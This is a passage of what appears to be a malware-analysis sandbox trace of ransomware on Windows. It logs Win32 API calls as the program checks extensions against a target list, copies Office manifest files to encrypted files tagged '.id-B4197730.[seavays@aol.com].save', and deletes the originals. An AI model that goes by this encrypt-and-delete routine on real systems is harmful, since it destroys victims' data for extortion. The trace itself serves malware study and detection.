-1 [0058.070] lstrlenW (lpString=".pdf") returned 4 [0058.070] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0058.070] lstrlenW (lpString=".xls") returned 4 [0058.070] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0058.070] lstrlenW (lpString=".xlsx") returned 5 [0058.070] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0058.070] lstrlenW (lpString=".ppt") returned 4 [0058.070] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0058.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0058.070] lstrlenW (lpString=".zip") returned 4 [0058.070] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0058.070] lstrlenW (lpString=".rar") returned 4 [0058.071] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0058.071] lstrlenW (lpString=".bz2") returned 4 [0058.071] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0058.071] lstrlenW (lpString=".7z") returned 3 [0058.071] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0058.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0058.071] lstrlenW (lpString=".dbf") returned 4 [0058.071] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0058.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0058.071] lstrlenW (lpString=".1cd") returned 4 [0058.071] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0058.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0058.071] lstrlenW (lpString=".jpg") returned 4 [0058.071] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0058.071] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0058.071] lstrlenW (lpString="AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 53 [0058.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0058.082] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=1261) returned 1 [0058.082] CloseHandle (hObject=0x2c0) returned 1 [0058.082] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml")) returned 0x220 [0058.082] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0058.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0058.082] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0058.082] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0058.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0058.083] GetLastError () returned 0x0 [0058.083] ReadFile (in: hFile=0x2c0, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0058.109] WriteFile (in: hFile=0x2f0, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0058.110] ReadFile (in: hFile=0x2c0, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0058.110] WriteFile (in: hFile=0x2f0, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x13e, lpOverlapped=0x0) returned 1 [0058.110] SetEndOfFile (hFile=0x2f0) returned 1 [0058.110] CloseHandle (hObject=0x2f0) returned 1 [0058.111] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0058.111] SetEndOfFile (hFile=0x2c0) returned 1 [0058.112] CloseHandle (hObject=0x2c0) returned 1 [0058.112] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0058.113] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml")) returned 1 [0058.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0058.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0058.114] lstrlenW (lpString=".doc") returned 4 [0058.114] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0058.114] lstrlenW (lpString=".docx") returned 5 [0058.114] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0058.114] lstrlenW (lpString=".pdf") returned 4 [0058.114] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0058.114] lstrlenW (lpString=".xls") returned 4 [0058.114] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0058.114] lstrlenW (lpString=".xlsx") returned 5 [0058.114] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0058.114] lstrlenW (lpString=".ppt") returned 4 [0058.114] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0058.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0058.114] lstrlenW (lpString=".zip") returned 4 [0058.114] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0058.114] lstrlenW (lpString=".rar") returned 4 [0058.114] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0058.114] lstrlenW (lpString=".bz2") returned 4 [0058.114] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0058.114] lstrlenW (lpString=".7z") returned 3 [0058.114] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0058.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0058.114] lstrlenW (lpString=".dbf") returned 4 [0058.114] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0058.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0058.114] lstrlenW (lpString=".1cd") returned 4 [0058.115] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0058.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0058.115] lstrlenW (lpString=".jpg") returned 4 [0058.115] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0058.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0058.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0058.115] lstrlenW (lpString=".doc") returned 4 [0058.115] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0058.115] lstrlenW (lpString=".docx") returned 5 [0058.115] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0058.115] lstrlenW (lpString=".pdf") returned 4 [0058.115] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0058.115] lstrlenW (lpString=".xls") returned 4 [0058.115] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0058.115] lstrlenW (lpString=".xlsx") returned 5 [0058.115] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0058.115] lstrlenW (lpString=".ppt") returned 4 [0058.115] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0058.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0058.115] lstrlenW (lpString=".zip") returned 4 [0058.115] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0058.115] lstrlenW (lpString=".rar") returned 4 [0058.115] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0058.115] lstrlenW (lpString=".bz2") returned 4 [0058.115] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0058.115] lstrlenW (lpString=".7z") returned 3 [0058.115] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0058.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0058.115] lstrlenW (lpString=".dbf") returned 4 [0058.116] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0058.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0058.116] lstrlenW (lpString=".1cd") returned 4 [0058.116] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0058.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0058.116] lstrlenW (lpString=".jpg") returned 4 [0058.116] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0058.116] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0058.116] lstrlenW (lpString="AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 53 [0058.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0058.116] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=1124942) returned 1 [0058.117] CloseHandle (hObject=0x2c0) returned 1 [0058.117] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml")) returned 0x220 [0058.117] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0058.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0058.117] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0058.117] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0058.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0058.117] GetLastError () returned 0x0 [0058.117] ReadFile (in: hFile=0x2c0, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0058.141] WriteFile (in: hFile=0x2f0, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0058.697] ReadFile (in: hFile=0x2c0, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x12a5e, lpOverlapped=0x0) returned 1 [0058.709] WriteFile (in: hFile=0x2f0, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x12a60, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x12a60, lpOverlapped=0x0) returned 1 [0058.715] ReadFile (in: hFile=0x2c0, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0058.715] WriteFile (in: hFile=0x2f0, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x13e, lpOverlapped=0x0) returned 1 [0058.715] SetEndOfFile (hFile=0x2f0) returned 1 [0058.716] CloseHandle (hObject=0x2f0) returned 1 [0060.050] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.050] SetEndOfFile (hFile=0x2c0) returned 1 [0060.075] CloseHandle (hObject=0x2c0) returned 1 [0060.077] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0060.096] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml")) returned 1 [0060.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0060.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0060.096] lstrlenW (lpString=".doc") returned 4 [0060.096] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0060.096] lstrlenW (lpString=".docx") returned 5 [0060.096] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0060.096] lstrlenW (lpString=".pdf") returned 4 [0060.096] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0060.096] lstrlenW (lpString=".xls") returned 4 [0060.096] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0060.096] lstrlenW (lpString=".xlsx") returned 5 [0060.096] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0060.096] lstrlenW (lpString=".ppt") returned 4 [0060.097] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0060.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0060.097] lstrlenW (lpString=".zip") returned 4 [0060.097] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0060.097] lstrlenW (lpString=".rar") returned 4 [0060.097] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0060.097] lstrlenW (lpString=".bz2") returned 4 [0060.097] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0060.097] lstrlenW (lpString=".7z") returned 3 [0060.097] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0060.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0060.097] lstrlenW (lpString=".dbf") returned 4 [0060.097] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0060.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0060.097] lstrlenW (lpString=".1cd") returned 4 [0060.097] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0060.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0060.097] lstrlenW (lpString=".jpg") returned 4 [0060.097] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0060.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0060.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0060.097] lstrlenW (lpString=".doc") returned 4 [0060.097] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0060.097] lstrlenW (lpString=".docx") returned 5 [0060.097] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0060.097] lstrlenW (lpString=".pdf") returned 4 [0060.097] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0060.097] lstrlenW (lpString=".xls") returned 4 [0060.097] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0060.097] lstrlenW (lpString=".xlsx") returned 5 [0060.097] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0060.097] lstrlenW (lpString=".ppt") returned 4 [0060.097] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0060.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0060.098] lstrlenW (lpString=".zip") returned 4 [0060.098] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0060.098] lstrlenW (lpString=".rar") returned 4 [0060.098] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0060.098] lstrlenW (lpString=".bz2") returned 4 [0060.098] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0060.098] lstrlenW (lpString=".7z") returned 3 [0060.098] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0060.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0060.098] lstrlenW (lpString=".dbf") returned 4 [0060.098] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0060.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0060.098] lstrlenW (lpString=".1cd") returned 4 [0060.098] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0060.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0060.098] lstrlenW (lpString=".jpg") returned 4 [0060.098] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0060.098] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0060.098] lstrlenW (lpString="AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 53 [0060.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0060.098] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=14913) returned 1 [0060.099] CloseHandle (hObject=0x378) returned 1 [0060.099] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml")) returned 0x220 [0060.099] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0060.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0060.099] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.099] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0060.099] GetLastError () returned 0x0 [0060.099] ReadFile (in: hFile=0x378, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x3a41, lpOverlapped=0x0) returned 1 [0060.103] WriteFile (in: hFile=0x2f4, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x3a50, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x3a50, lpOverlapped=0x0) returned 1 [0060.104] ReadFile (in: hFile=0x378, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0060.104] WriteFile (in: hFile=0x2f4, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x13e, lpOverlapped=0x0) returned 1 [0060.104] SetEndOfFile (hFile=0x2f4) returned 1 [0060.104] CloseHandle (hObject=0x2f4) returned 1 [0060.105] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.105] SetEndOfFile (hFile=0x378) returned 1 [0060.106] CloseHandle (hObject=0x378) returned 1 [0060.106] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0060.107] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml")) returned 1 [0060.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0060.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0060.107] lstrlenW (lpString=".doc") returned 4 [0060.107] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0060.107] lstrlenW (lpString=".docx") returned 5 [0060.107] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0060.107] lstrlenW (lpString=".pdf") returned 4 [0060.107] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0060.107] lstrlenW (lpString=".xls") returned 4 [0060.107] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0060.107] lstrlenW (lpString=".xlsx") returned 5 [0060.107] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0060.107] lstrlenW (lpString=".ppt") returned 4 [0060.107] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0060.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0060.107] lstrlenW (lpString=".zip") returned 4 [0060.107] lstrcmpiW (lpString1=".zip", 